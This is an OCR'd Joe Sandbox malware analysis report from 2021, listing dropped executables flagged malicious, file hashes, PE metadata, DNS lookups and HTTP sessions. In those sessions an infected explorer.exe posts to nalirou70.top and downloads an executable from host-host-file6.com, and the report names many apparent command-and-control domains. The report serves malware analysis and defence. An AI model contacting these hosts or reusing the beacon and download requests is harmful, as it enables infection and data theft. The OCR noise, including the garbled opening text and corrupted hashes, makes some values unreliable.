@%nmb%e%Ivjgxfcm%c%qckbdzpzhfijg¥h%anbajpojymsco%o%nransp% %aqeoe%o%mitd%f%puzu%f%bjs%..%fmmjryur¥%s%ukdixigneflfe%c%toqs% %xbvjy%s%
ykcetzeltrurlx%t%xdvrvty%o%itutofjebvoygco%p¥noaevpkwrrrci% %npfksd%wsljiconeph%i%sinxiygfbc%n%ykxnbrpdgztrdb%d%mfuvueeajpyxla¥eYewyybmmo%f%jdz
tigyb%e%izwgzizuwfwq%n%slmffy%d%azh%..%wlhzjhxuz%s%zuiczqrgav¥%c%ocphncbzosf% %uee%c%kwrr%o%ofppkctzbccubb%n%oyhovbgs%%nue%i%lgybs
rbgk%g%xguast% %vas%wtdayskzhki%i%fmmijryurgrdcz%n%emroplrim%d%ymxvyr¥%e%igpwnheoi%f%ffehbxrlehlo%e%tutofiebvo%n%ywijkif%d%pvdaa% %
trpa%s%xznydsnggdbu%t%hplrbjxhnjes%a%yhyferx%r%dwcez%t%rrugvyblp%=%zjthdesmo% %ewyybmmowgsjdr%d%snmn%i%mbm%s%akxnoc%a%xa
r%b%mwm%Il%ozlt%e%wlhzjhxuzh%d%rogtalnv%..%hlhdhvi%s%nsespdzm%c%kwrrsgvucidm% %ueax%s%xunijsdghif%t%prvhhngvvouz%o%liyjprigxuur%p%,j
skzmuaxtb% %vwogshkaaladz%S%ruuosytlcgu%e%nftvippgc%n%ghj%s%lixrmrlgje%e%tutofje%..%xxnggsvqut¥s%racghzwreqndv¥c%skizikcom% %oytf%c%pxdixotex
ymnev%o%dwcezzifyaqd%n%ijjdpztfrehpv%f%xxrweg%i%lpfkfswxzemf{%g%rxycnmibql% %hfzbr

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Antivirus:

Reputation:

Preview:

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Antivirus:
Reputation:

Preview:

C:\Windows\explorer.exe

PE32 executable (GUI) Intel 80386, for MS Windows

dropped

233472

6.6947626548823385

false

6144:vLDUP9cE7VUV+/7yfpO7JTx4uzbgwu6QigabwVf:DDXE7VUVPOL4unn5
08CB82859479B33DC1D0738B985DB28C
2162CEC3E4A16E4B9C610004011473965CF300F8
8DB223A1FFA1B3B3788EE9FOE050CC64F7B5CBEFA8745E95E00391F7BABCCESS

ABIAAEACBBCED14DC55FCA39D43D6182FE8D600D4DA9FB938298FC151866A26777B45A527BCB2CC099D734111DBEB70224ED16E9B590C8B76B057B905EB7C!
12

true

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: ReversingLabs, Detection: 74%

unknown

MZ..... ..@.. .L.IThis program cannot be run in DOS mode....$.....

C:\Windows\explorer.exe

PE32 executable (GUI) Intel 80386, for MS Windows

dropped

292864

5.9359496550819655

false
3072:6zyig02ASI6xXrDXa23CiVfcC5DBoLtJalC4CrraxlsgUUirwX0m5SI5nTK5DItT:6xxX0iVcGBOvalC4CrrqR3rC0z5+k
DB2EF30E8F821C8F00456941F5944849

01A08A69F1EBE6D822ECES77A9EBEB4AOCT7F5F60
433CF9125A44E304ECA2C5CF3BFE2AFOB1DEAFD1C5E8D13D559E1BACIDE711B3

7E8A3BOA1C57B3E7E8B6BFF850D5CD28BBABCAG3BA90BCAOF7A502E3964DEG41004388AFB1271A01E7BC34BA66D6299E487107869C4BC224BF36D6FBI00ET72
EE

true
e Antivirus: Joe Sandbox ML, Detection: 100%

unknown

1..L.IThis program cannot be run in DOS mode....$..

.@....rsrc....B...r.D

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:

C:\Windows\explorer.exe

ASCII text, with CRLF line terminators
dropped

26

3.95006375643621

false

3:ggPYViIrPYV
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MD5: 187FA88E27DB4AF347237FE461A079AD

SHA1L: 6693BA299EC1881249D59262276A0D2CB21F8E64

SHA-256: 255A65D30841AB4082BDIDOEEA79D49C5EE88F56136157D8D6156AEF11C12309

SHA-512: 89879F237COC051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DCICDE1B60FB21CD64
Malicious: true

Reputation: unknown

Preview:

[ZoneTransfer]....Zoneld=0

Static File Info

General
File type:
Entropy (8bit):
TriD:

File name:
File size:
MD5:
SHAL:
SHA256:

SHAS512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static PE Info

General

Entrypoint:

Entrypoint Section:
Digitally signed:
Imagebase:

Subsystem:

Image File Characteristics:
DLL Characteristics:

Time Stamp:

TLS Callbacks:

CLR (.Net) Version:

OS Version Major:

OS Version Minor:

File Version Major:

File Version Minor:
Subsystem Version Major:
Subsystem Version Minor:

Import Hash:

Copyright Joe Security LLC 2021

aedaae9eceab2aa?

0x418260
text
false
0x400000

windows gui

PE32 executable (GUI) Intel 80386, for MS Windows
5.9359496550819655

e Win32 Executable (generic) a (10002005/4)
99.96%

e Generic Win/DOS Executable (2004/3) 0.02%

e DOS Executable Generic (2002/1) 0.02%

e Autodesk FLIC Image File (extensions: fic, fli, cel)
(7/3) 0.00%

y4oMrtO1Mt.exe

292864

db2ef30e8f821c8f00456941f5944849
01a08a69fle8e6d822ece577a9ebe84a0c7f5f60

433cf9125a44e304eca2c5cf3bfe2afObldeafd1c5e8d13d
559elbac9de711b3

7e8a3b0alc57b3e7e8b6bff850d5cd28bbabca63badObee
0f7a502e3964de641004388afb1271a01e7bc34ba66d62!
9e487107869c4bc224bf36d6fb900e72ee

3072:6zyig02ASI6xXrDXa23CiVfcC5DBoLtJalC4Crraxls
gUUIrwX0m5SI5nTk5DItT:6xxX0iVicGBOvalC4CrrqR3r
C0z5+k

32BIT_MACHINE, EXECUTABLE_IMAGE

TERMINAL_SERVER_AWARE

0x5FD7644D [Mon Dec 14 13:10:37 2020 UTC]

L 2 R ¢ ) B G |

abeffb4de20laefae267d5eef9a314ac
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Entrypoint Preview

Rich Headers

Data Directories

Sections

Name  Virtual Address
text 0x1000

.data 0x33000

.rsrc 0x272a000
.reloc 0x272f000

Resources
Imports
Version Infos
Possible Origin

Language of compilation system

Divehi; Dhivehi; Maldivian

Spanish

Network Behavior

Network Port Distribution

TCP Packets
UDP Packets

DNS Queries

Timestamp
Nov 9, 2021 22:20:48.181229115 CET

Nov 9, 2021 22:20:49.766926050 CET
Nov 9, 2021 22:20:51.091515064 CET
Nov 9, 2021 22:20:56.012543917 CET
Nov 9, 2021 22:20:57.792776108 CET

Nov 9, 2021 22:21:04.161433935 CET
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Virtual Size

0x312a8

0x26f642¢

0x4210

0x109c8

Raw Size

0x31400

0x1200

0x4400

0x10a00

Source IP
192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

Xored PE

False

unknown

False

False

ZLIB Complexity
0.612701261104

unknown

0.711971507353

0.0766858552632

Country where language is spoken

Maldives

Paraguay

Dest IP Trans ID
8.8.8.8 0x306b
8.8.8.8 0x3d48
8.8.8.8 0x3cc4
8.8.8.8 0x2a97
8.8.8.8 Oxch34
8.8.8.8 0x69ae

Characteristics

IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA,
IMAGE_SCN_MEM_DISCARDABLE
, IMAGE_SCN_MEM_READ

File Type Entropy

data 7.02904343285

unknown unknown

data 6.22162215956

data 1.00398945352
OP Code Name

Standard query
0
Standard query
0
Standard query
0
Standard query
0
Standard query
0
Standard query
©

nalirou70.top
nalirou70.top
privacytoo
I1zforyou7000.top
nalirou70.top

nalirou70.top

nalirou70.top

Type Class

A (IP address) IN (0x0001)
A(IP address)  IN (0x0001)
A(IP address)  IN (0x0001)
A (IP address) IN (0x0001)
A(IP address)  IN (0x0001)
A (IP address) IN (0x0001)
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Timestamp

Nov 9, 2021 22:21:05.779247046 CET

Nov 9, 2021 22:21:07.132746935 CET

Nov 9, 2021 22:21:08.465326071 CET

Nov 9, 2021 22:21:10.102009058 CET

Nov 9, 2021 22:21:21.094811916 CET

Nov 9, 2021 22:21:22.480365992 CET

Nov 9, 2021 22:21:23.795788050 CET

Nov 9, 2021 22:21:25.097748995 CET

Nov 9, 2021 22:21:30.161583900 CET

Nov 9, 2021 22:21:31.479443073 CET

Nov 9, 2021 22:21:32.814738035 CET

Nov 9, 2021 22:21:37.624569893 CET

Nov 9, 2021 22:21:38.948087931 CET

Nov 9, 2021 22:21:44.945497036 CET

Nov 9, 2021 22:21:46.255127907 CET

Nov 9, 2021 22:21:47.570796013 CET

Nov 9, 2021 22:21:48.266598940 CET

Nov 9, 2021 22:21:48.878771067 CET

Nov 9, 2021 22:21:56.009752035 CET

Nov 9, 2021 22:21:57.334422112 CET

Nov 9, 2021 22:21:58.635862112 CET

Nov 9, 2021 22:21:59.960345030 CET

Nov 9, 2021 22:22:01.274131060 CET

Nov 9, 2021 22:22:03.175628901 CET

Nov 9, 2021 22:22:04.478583097 CET

Nov 9, 2021 22:22:05.538686991 CET

Nov 9, 2021 22:22:05.796813965 CET

Nov 9, 2021 22:22:07.090008974 CET

Nov 9, 2021 22:22:08.424690008 CET

Nov 9, 2021 22:22:09.867391109 CET

Nov 9, 2021 22:22:26.692532063 CET

Nov 9, 2021 22:22:26.730770111 CET

DNS Answers

Timestamp Source IP

Nov 9, 2021
22:20:48.469034910
CET

Nov 9, 2021
22:20:49.786566019
CET

8.8.8.8

8.8.8.8

Copyright Joe Security LLC 2021

Dest IP
192.168.2.4

192.168.2.4

Source IP

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

Trans ID

0x306b

0x3d48

Dest IP
8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Reply Code
No error (0)

No error (0)

Trans ID

Ox4ba7

0xf8d6

0x8212

0xf495

0x7936

0x28bf

0x2270

0xf378

0x89e0

0x66

0x5cbf

0x69b

0xf3e5

0x95af

Ox1be

0ox12f7

0xb21b

Oxf5d1

0x67a4

Oxedc5

0x66fc

Oxbbb2

0xb296

0x4146

0x22c0

0x54d1

O0xb7b9

Oxcf7f

Oxab01

Oxd4ce

0x9462

0x80a6

Name

nalirou70.top

nalirou70.top

OP Code
Standard query
)

Standard query
)

Standard query
(©)

Standard query
(©)

Standard query
)

Standard query
(©)

Standard query
(©)

Standard query
()

Standard query
()

Standard query
(©)

Standard query
()

Standard query
()

Standard query
)

Standard query
)

Standard query
)

Standard query
(©)

Standard query
)

Standard query
)

Standard query
)

Standard query
)

Standard query
)

Standard query
(©)

Standard query
(©)

Standard query
()

Standard query
(©)

Standard query
(©)

Standard query
(©)

Standard query
)

Standard query
)

Standard query
)

Standard query
(©)

Standard query
(©)

CName

Name

nalirou70.top
nalirou70.top
nalirou70.top
host-host-
file6.com
nalirou70.top
nalirou70.top
nalirou70.top
host-host-
file6.com
nalirou70.top
nalirou70.top
host-host-
file6.com
nalirou70.top
nalirou70.top
nalirou70.top
nalirou70.top
nalirou70.top
cdn.discor
dapp.com
hajezey10.top
nalirou70.top
nalirou70.top
nalirou70.top
nalirou70.top
cdn.discor
dapp.com
nalirou70.top
nalirou70.top
nusurtal4f.net
nalirou70.top
nalirou70.top
nalirou70.top
host-host-

file6.com

netomishne
tojuk.net

escalivrouter.net

Address
47.74.84.15

47.74.84.15

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Type
A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0X0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

Class

IN (0x0001)

IN (0x0001)
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Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Nov 9, 2021 8.8.8.8 192.168.2.4 0x3cc4 No error (0) privacytoo 47.74.84.15 A (IP address) IN (0x0001)
22:20:51.110956907 I1zforyou7000.top
CET

Nov 9, 2021 8.8.8.8 192.168.2.4 0x2a97 No error (0) nalirou70.top 47.74.84.15 A (IP address) IN (0x0001)
22:20:56.360290051
CET

Nov 9, 2021 8.8.8.8 192.168.2.4 Oxch34 No error (0) nalirou70.top 47.74.84.15 A (IP address) IN (0x0001)
22:20:58.143651009
CET

Nov 9, 2021 8.8.8.8 192.168.2.4 0x69ae No error (0) nalirou70.top 47.74.84.15 A (IP address) IN (0x0001)
22:21:04.480629921
CET

Nov 9, 2021 8.8.8.8 192.168.2.4 Ox4ba7 No error (0) nalirou70.top 47.74.84.15 A (IP address) IN (0x0001)
22:21:05.799434900
CET

Nov 9, 2021 8.8.8.8 192.168.2.4 0xf8d6 No error (0) nalirou70.top 47.74.84.15 A (IP address) IN (0x0001)
22:21:07.150015116
CET

Nov 9, 2021 8.8.8.8 192.168.2.4 0x8212 No error (0) nalirou70.top 47.74.84.15 A (IP address) IN (0x0001)
22:21:08.810220003
CET

Nov 9, 2021 8.8.8.8 192.168.2.4 0xf495 No error (0) host-host- 47.74.84.15 A (IP address) IN (0x0001)
22:21:10.121613979 file6.com
CET

Nov 9, 2021 8.8.8.8 192.168.2.4 0x7936 No error (0) nalirou70.top 47.74.84.15 A (IP address) IN (0x0001)
22:21:21.114425898
CET

Nov 9, 2021 8.8.8.8 192.168.2.4 0x28bf No error (0) nalirou70.top 47.74.84.15 A (IP address) IN (0x0001)
22:21:22.499907017
CET

Nov 9, 2021 8.8.8.8 192.168.2.4 0x2270 No error (0) nalirou70.top 47.74.84.15 A (IP address) IN (0x0001)
22:21:23.815069914
CET

Nov 9, 2021 8.8.8.8 192.168.2.4 0xf378 No error (0) host-host- 47.74.84.15 A (IP address) IN (0x0001)
22:21:25.447969913 file6.com
CET

Nov 9, 2021 8.8.8.8 192.168.2.4 0x89e0 No error (0) nalirou70.top 47.74.84.15 A (IP address) IN (0x0001)
22:21:30.179389954
CET

Nov 9, 2021 8.8.8.8 192.168.2.4 0x66 No error (0) nalirou70.top 47.74.84.15 A (IP address) IN (0x0001)
22:21:31.498986959
CET

Nov 9, 2021 8.8.8.8 192.168.2.4 0x5cbf No error (0) host-host- 47.74.84.15 A (IP address) IN (0x0001)
22:21:32.834692001 file6.com
CET

Nov 9, 2021 8.8.8.8 192.168.2.4 0x69b No error (0) nalirou70.top 47.74.84.15 A (IP address) IN (0x0001)
22:21:37.643862963
CET

Nov 9, 2021 8.8.8.8 192.168.2.4 0xf3e5 No error (0) nalirou70.top 47.74.84.15 A (IP address) IN (0x0001)
22:21:38.967904091
CET

Nov 9, 2021 8.8.8.8 192.168.2.4 0x95af No error (0) nalirou70.top 47.74.84.15 A (IP address) IN (0x0001)
22:21:44.965086937
CET

Nov 9, 2021 8.8.8.8 192.168.2.4 Ox1lbe No error (0) nalirou70.top 47.74.84.15 A (IP address) IN (0x0001)
22:21:46.274498940
CET

Nov 9, 2021 8.8.8.8 192.168.2.4 0x12f7 No error (0) nalirou70.top 47.74.84.15 A (IP address) IN (0x0001)
22:21:47.590293884
CET

Nov 9, 2021 8.8.8.8 192.168.2.4 0xb21b No error (0) cdn.discor 162.159.134.233 A (IP address) IN (0x0001)
22:21:48.290569067 dapp.com
CET

Nov 9, 2021 8.8.8.8 192.168.2.4 0xb21b No error (0) cdn.discor 162.159.130.233 A (IP address) IN (0x0001)
22:21:48.290569067 dapp.com
CET

Nov 9, 2021 8.8.8.8 192.168.2.4 0xb21b No error (0) cdn.discor 162.159.129.233 A (IP address) IN (0x0001)
22:21:48.290569067 dapp.com
CET

Nov 9, 2021 8.8.8.8 192.168.2.4 0xb21b No error (0) cdn.discor 162.159.133.233 A (IP address) IN (0x0001)
22:21:48.290569067 dapp.com
CET

Nov 9, 2021 8.8.8.8 192.168.2.4 0xb21b No error (0) cdn.discor 162.159.135.233 A (IP address) IN (0x0001)
22:21:48.290569067 dapp.com
CET

Nov 9, 2021 8.8.8.8 192.168.2.4 0xf5d1 No error (0) hajezey10.top 47.74.84.15 A (IP address) IN (0x0001)
22:21:49.248229027
CET
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Timestamp Source IP

Nov 9, 2021 8.8.8.8
22:21:56.027358055
CET

Nov 9, 2021 8.8.8.8
22:21:57.353862047
CET

Nov 9, 2021 8.8.8.8
22:21:58.655211926
CET

Nov 9, 2021 8.8.8.8
22:21:59.979754925
CET

Nov 9, 2021 8.8.8.8
22:22:01.295880079
CET

Nov 9, 2021 8.8.8.8
22:22:01.295880079
CET

Nov 9, 2021 8.8.8.8
22:22:01.295880079
CET

Nov 9, 2021 8.8.8.8
22:22:01.295880079
CET

Nov 9, 2021 8.8.8.8
22:22:01.295880079
CET

Nov 9, 2021 8.8.8.8
22:22:03.194483042
CET

Nov 9, 2021 8.8.8.8
22:22:04.496556997
CET

Nov 9, 2021 8.8.8.8
22:22:05.571943998
CET

Nov 9, 2021 8.8.8.8
22:22:05.816350937
CET

Nov 9, 2021 8.8.8.8
22:22:07.109397888
CET

Nov 9, 2021 8.8.8.8
22:22:08.442487001
CET

Nov 9, 2021 8.8.8.8
22:22:10.184499979
CET

Nov 9, 2021 8.8.8.8
22:22:26.759207964
CET

Dest IP
192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

HTTP Request Dependency Graph

.

cdn.discordapp.com

.

pstanat.net
e nalirou70.top

e Xyauqxpv.com

.

privacytoolzforyou7000.top

.

ruebf.org

.

vhiaeb.net

.

jjvrsspwd.com

e hjuvthale.net

Copyright Joe Security LLC 2021

Trans ID

Ox67a4

Oxedc5

0x66fc

0xbbb2

0xb296

0xb296

0xb296

0xb296

0xb296

0x4146

0x22c0

0x54d1

0xb7b9

Oxcf7f

Oxab01

Oxd4ce

0x80a6

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name

nalirou70.top

nalirou70.top

nalirou70.top

nalirou70.top

cdn.discor
dapp.com

cdn.discor
dapp.com

cdn.discor
dapp.com

cdn.discor
dapp.com

cdn.discor

dapp.com

nalirou70.top

nalirou70.top

nusurtal4f.net

nalirou70.top

nalirou70.top

nalirou70.top

host-host-

file6.com

escalivrouter.net

CName

Address
47.74.84.15

47.74.84.15

47.74.84.15

47.74.84.15

162.159.134.233

162.159.133.233

162.159.130.233

162.159.129.233

162.159.135.233

47.74.84.15

47.74.84.15

45.141.84.21

47.74.84.15

47.74.84.15

47.74.84.15

47.74.84.15

192.42.116.41

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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e vhupvvm.org

e Invjmhbadt.net

e host-host-file6.com

* ssygxqlwo.com

e ksjdtko.org

* rjave.net

e fkgdw.com

e vhigong.com

e yvlvga.org

e tghblvfem.net

e rykrbxyl.net

e o0aayoceae.org

e ukalfymca.com

e hajezey10.top

e mugembbijlb.net

e crrgldha.com

e hbrlkj.net

e lvejmcuwng.net

e rviwdspfo.org

e keurrviwmx.net

e ykpbkuficw.com

e bfwrlwg.net

e umgsuuguwn.org

HTTP Packets

Session ID
0

Timestamp

Session ID

1

Timestamp

Source IP
192.168.2.4

kBytes
transferred

Source IP

192.168.2.4

kBytes
transferred

Copyright Joe Security LLC 2021

Source Port
49868

Direction

Source Port

49871

Direction

Destination IP
162.159.134.233

Data

Destination IP

162.159.134.233

Data

Destination Port Process

443

C:\Users\user\AppData\Local\Temp\B8B0.exe

Destination Port Process

443

C:\Users\user\AppData\Local\Temp\B8B0.exe
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Session ID

10

Timestamp

Nov 9, 2021
22:21:07.444571972 CET

Nov 9, 2021
22:21:08.422864914 CET

Session ID

11

Timestamp

Nov 9, 2021
22:21:09.104881048 CET

Nov 9, 2021
22:21:10.089358091 CET

Session ID
12

Timestamp

Nov 9, 2021
22:21:10.422574043 CET

Source IP

192.168.2.4

kBytes
transferred

1786

1874

Source IP

192.168.2.4

kBytes
transferred

2106

2324

Source IP
192.168.2.4

kBytes
transferred

2330

Copyright Joe Security LLC 2021

Source Port

49794

Direction

ouT

Source Port

49805

Direction

ouT

Source Port
49813

Direction
ouT

Destination IP Destination Port Process

47.74.84.15 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://vhupvvm.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 252

Host: nalirou70.top

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Tue, 09 Nov 2021 21:21:08 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0

Connection: close

Destination IP Destination Port Process

47.74.84.15 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://Invjmhbadt.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 273

Host: nalirou70.top

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Tue, 09 Nov 2021 21:21:09 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 34 35 0d Oa 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 88 55 13 26 1a ff b5 98 ff ac 18 a8 19
88 2c b4 59 52 db 03 8 e5 2c f3 65 00 48 eb ac e3 1e bb 52 df 46 d2 f7 21 80 2a 80 ae 95 50 2a f8 €3 00 7e 0d Oa 30 0d
0Oa 0d Oa

Data Ascii: 451:820U&,YR,eHRF*P*~0

Destination IP  Destination Port Process

47.74.84.15 80 C:\Windows\explorer.exe

Data

GET /files/5675_1636449658_2701.exe HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: host-host-file6.com
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kBytes
Timestamp transferred

Nov 9, 2021 2348
22:21:11.271085024 CET

Session ID Source IP
13 192.168.2.4

kBytes
Timestamp transferred
Nov 9, 2021 7752

22:21:21.411899090 CET

Nov 9, 2021 7753
22:21:22.409507036 CET

Session ID Source IP

14 192.168.2.4

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49832

Direction
ouT

Source Port

49833

Data

HTTP/1.1 200 OK

Date: Tue, 09 Nov 2021 21:21:10 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38

Last-Modified: Tue, 09 Nov 2021 09:20:58 GMT

ETag: "2a16d8-5d057a09c5eba"

Accept-Ranges: bytes

Content-Length: 2758360

Connection: close

Content-Type: application/octet-stream

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 0a 00 ae 4c 1d b2 00 00 00 00 00 00 00 00 e0 00 Oe 01 Ob 01
30 00 00 18 03 00 00 8e 0a 00 00 00 00 00 08 10 48 00 00 20 00 00 00 40 03 00 00 00 40 00 00 20 00 00 00 02 00 00 04
00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 6f 00 00 04 00 00 5e 9a 2a 00 02 00 40 80 00 00 10 00 00 10 00 00
00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3a cO 08 00 50 00 00 00 00 c0 69 00 6f 43 05
00 00 00 00 00 00 00 00 00 00 fe 29 00 d8 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 20 20 20 20 20 00 20 03 00
00 20 00 00 00 90 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 20 20 20 20 20 20 20 20 68 4e 05
00 00 40 03 00 00 04 01 00 00 94 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 20 20 20 20 20 20 20 20 Oc 00
00 00 00 a0 08 00 00 02 00 00 00 98 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 69 64 61 74 61 00 00 00
20 00 00 00 c0O 08 00 00 02 00 00 00 9a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 cO 7e c2 a9 5¢ 31 38 34 37
00 20 00 00 00 e0 08 00 00 08 00 00 00 9¢c 02 00 00 00 00 00 0O 00 00 00 00 00 00 00 40 00 00 40 2e 74 68 65 6d 69 64
61 00 80 3e 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 €0 2e 62 6f 6f 74 00
00 00 00 fa 21 00 00 80 47 00 00 fa 21 00 00 a4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 7e c2 a9 5¢ 31 38
34 37 50 Oc 00 00 00 80 69 00 00 Oe 00 00 00 9e 24 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 7e c2 a9 5¢ 31
38 34 37 50 0c 00 00 00 a0 69 00 00 Oe 00 00 00 ac 24 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72
63 00 00 00 6f 43 05 00 00 cO 69 00 00 44 05 00 00 ba 24 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELLOH @@ o"*@:PioC) N hN@@@
